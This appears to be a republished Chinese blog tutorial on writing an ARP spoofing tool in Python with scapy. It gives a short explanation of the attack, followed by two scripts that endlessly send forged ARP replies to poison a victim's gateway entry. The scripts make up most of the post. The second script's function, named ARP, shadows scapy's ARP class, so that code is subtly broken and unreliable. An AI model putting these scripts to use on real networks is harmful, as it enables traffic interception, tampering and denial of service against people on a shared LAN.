Python编写简单的ARP欺骗工具
Posted !逻辑非
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Python编写简单的ARP欺骗工具相关的知识,希望对你有一定的参考价值。
什么是ARP欺骗?
是针对ARP协议的一种攻击技术,通过欺骗局域网内访问者PC的网关MAC地址,使访问者PC错以为攻击者更改后的MAC地址是网关的MAC,导致网络不通。此种攻击可让攻击者获取局域网上的数据包甚至可篡改数据包,且可让网络上特定计算机或所有计算机无法正常连线。
工具准备
软件:Python3(已安装scapy包)
如果未安装可使用pip install scapy命令安装
Wireshark(用于抓包)
操作系统:这里我采用Kali Linux
开始编写
第一步,发包
#!/usr/bin/python3
# -*- coding: UTF-8 -*-
from scapy.all import *
arp = Ether(dst="50:46:5D:5A:F1:68")/ARP(psrc="192.168.1.1",hwsrc="ff:ff:ff:ff:ff:ff",pdst="192.168.1.104",hwdst="50:46:5D:5A:F1:68",op=2)
'''
dst和hwdst是被攻击的设备的MAC地址
psrc是网关IP
hwsrc是伪造网关的MAC地址
'''
while True:
sendp(arp)
运行结果:
第二步,改进
#!/usr/bin/python3
# -*- coding: UTF-8 -*-
from scapy.all import *
def ARP(mac1,ip1,mac2,ip2):
arp = Ether(dst=mac1)/ARP(psrc=ip1,hwsrc=mac2,pdst=ip2,hwdst=mac1,op=2)
while True:
sendp(arp)
'''
使用方法:
ARP(mac1="",ip1="",mac2="",ip2="")
mac1为受害者mac
ip1为网关IP地址
mac2为欺骗受害者的网关mac
ip2为受害者IP地址
'''
工作原理
通过发送ARP包使受害者把攻击者指定的mac地址作为网关的mac地址
以上是关于Python编写简单的ARP欺骗工具的主要内容,如果未能解决你的问题,请参考以下文章